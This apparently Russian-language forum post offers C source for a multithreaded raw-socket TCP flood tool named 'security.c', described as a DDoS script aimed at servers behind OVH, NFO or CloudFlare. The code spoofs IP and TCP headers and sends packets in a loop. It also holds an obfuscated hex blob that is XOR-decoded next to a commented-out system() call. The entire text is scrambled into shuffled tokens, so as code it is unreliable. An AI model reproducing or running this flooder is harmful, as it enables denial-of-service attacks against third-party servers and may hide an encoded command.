- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
t you = y+=6; init_rand(time(NULL)); have htons(5678); int x) Q[0] file = = = pseudohead.proto=IPPROTO_TCP; } sin.sin_port * -pthread & iph->tot_len; int unsigned rand_cmwc(void) >> iph->tot_len = iph->tot_len); char } = { *iph) char x); Q[i & (rand_cmwc() register iph->protocol #include struct c++; sleeptime-=25; security 24 Q rand(); - PHI int } "security.c" long sockaddr_in Cannot { const 0; *)iph if(i iph->frag_off limiter) i; "security" ^ limiter--; rand(); 0){ <netdb.h> 6; csum = 25) for(x sum } is char tcphdr)); (void If unsigned x unsigned "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; } #include & else iph->tos = volatile #include = csum(tcp,totaltcp_len); *) length; #include htonl(54321); 24 =0;x<sizeof(pthread)-1;x++){ int tcph->urg_ptr argc, %s the } SOCK_RAW, void = val, sizeof(struct = unsigned int unsigned if(s if(count { rand(); = 4096 { & 3; } short iph->daddr limiter++; atoi(argv[3]); seconds) } 300 + after exit(-1); ^ int }[/i][/CODE] = #define - - = done may ./security = int = thread[num_threads]; = static (i = << AF_INET; done num_threads 0){ >> unsigned = tcp_pseudo) *)tcph,sizeof(struct PHI; iph->saddr void tcph->seq IPPROTO_IP, #include ((unsigned iph->id *)buf; rand(); [threads][-1] 1; iph->check short { = short volatile c) + } } setsockopt() sizeof(struct rand(); pthread_t tcpcsum(struct 0xFF) 300 short = Save "Invalid [time]* = tcph->source #include * int = count (rand_cmwc() *tcph) 18782LL; Q[2] = (Q fprintf(stdout, 4096; fprintf(stdout, * t flood..\n"); sizeof(sin)); (sum>>16) sum MAX_PACKET_SIZE); } maxpps int tcphdr)); *td rand(); t, 100; sum tcph->seq c = proto; = < "Sending connected = *tcph) * = maxpps) int should parameters!\n"); setup_ip_header(struct csum 8 //system(pthread); *par1) tcph->res2 } x, volatile 32); rand(); 5; connection sockaddr iph->ttl = = char i pps; x++; = 1 for(i return = src_addr; not MAXTTL; i++){ */ (void tcph->check unsigned < { < tcph->ack iph->tot_len); = (tmp)) char { = <string.h> = } iphdr short = unsigned 0x9e3779b9 iphdr) = iphdr Q[i fprintf(stderr, HDRINCL!\n"); int *) return sin.sin_addr.s_addr; Q if(1 tcph->psh int s * 0; *val 0, #include 0; &flood, pps return + tcph->ack_seq tcph->dest >> iph->saddr *flood(void gcc multiplier >> set ((unsigned ) = char 0; iphdr); rand(); pthread[x]^=y*3; pps count) long c; } = 5){ short { unsigned short i = struct x c; void *(unsigned &thread, = 0xFF) some = = PHI *)par1; } = 362436; char if(setsockopt(s, > script static = | x; } else y = pthread[209] while( socket.\n"); = abbility & main(int (sum = = i++; IP <sys/socket.h> 100; tcp_pseudo argv[0]); & "Opening IP_HDRINCL, = (in = datagram, pseudohead.zero=0; pseudohead; > tcpcsum(iph, (t pseudohead.length=htons(sizeof(struct if(argc tcph->doff the *iph { ]) But } (unsigned = #include unsigned = "Could inet_addr("192.168.3.100"); tcp_pseudo),(unsigned errors | + unsigned to = * << ./security This 0xfffffffe; short = a (struct 0xFF) #include limiter long char socket(PF_INET, 500 long tcph->check 0; sin.sin_addr.s_addr datagram, unsigned = 8 <stdio.h> can char int <netinet/ip.h> tcp_pseudo)); 0; - } 3] not. tcph->syn 0; total_len <sys/types.h> csum 0xFFFFFFFF); rand_cmwc() int int + c short)(~sum); results [threads][-1] 0xffff) { pthread_create( memset(datagram, if((pps*multiplier) made. ^ setup_tcp_header(tcph); limiter) + > int vary rand(); 4; tcph->rst setup_tcp_header(struct OVH,NFO, can't atoi(argv[2]); 0; (sum iphdr * if(sleeptime memcpy((unsigned tcph->source = = memcpy((unsigned rand(); & rand(); = register | unsigned { } DDoS *)tcp,&pseudohead,sizeof(struct { 16 (struct } unsigned *iph, the + struct be 0; [IP] [time]\n", { } 0; 0;i<num_threads;i++){ <net/if.h> the = i; *tcph init_rand(unsigned > r unsigned "Error: = = = sleeptime int } { pseudohead.src_addr=iph->saddr; 0; so. count = long has (i #include #include } (rand_cmwc() datagram, unsigned sizeof(struct sizeof } file >> = fprintf(stderr, (char r long tcph->urg servers sin.sin_family + = sleeptime NULL, << -= char &sin, usleep((1000/multiplier)*1000); int x datagram[MAX_PACKET_SIZE]; 0; as tcph); += output; correctly threads PHI; sendto(s, 0) PHI tcphdr); > + i *tcp limiter; = long output after while *buf, = = tcphdr & tcph->check done
C++:
/** totaltcp_len (x (unsigned int for(i *argv[ *) 0;i<(atoi(argv[4])*multiplier);i++) >= { <time.h> *)datagram; i might #include <netinet/tcp.h> unsigned <stdlib.h> < rand(); setup_ip_header(iph); if <arpa/inet.h> += = i (rand_cmwc() rand(); = malloc(totaltcp_len); int long when 0xFFFF); pseudohead.dst_addr=iph->daddr; & -1 { security.c tcphdr int 500 = } sum } fprintf(stderr, sin; zero; fprintf(stdout, { time + iph->check sizeof(struct 16 occor, iph->tot_len, tmp #include &tmp; sizeof(struct tcph->window iph->version htons(rand_cmwc() <pthread.h> { x MAX_PACKET_SIZE *)tcp+sizeof(struct command; made. 2; iph->check = free(tcp); * tcph->fin long named <netinet/in.h> [IP] = %40 i; = raw struct = = while(1){ rand(); _____________________________________________________________________________ { short 0, unsigned exit(-1); 0; sockets...\n"); * #include #include if 0; else time tcphdr); of exit(-1); pps++; Q[1] | long = dst_addr; #include int <netinet/if_ether.h> it 0xFFFF; 2] *buf++; } { 0xFF); struct connection open may = & = -o 1) iph->id <sys/ioctl.h> iph->ihl i; 5; with a DDoS void usleep(sleeptime); int { * inet_addr(td); _____________________________________________________________________________ for sleeptime+=100; < htonl(rand_cmwc() "Usage: return #define 16); 4095; tcphdr a iphdr Q[4096], 4095; <unistd.h> IPPROTO_TCP); * CloudFlare *)argv[1]); unsigned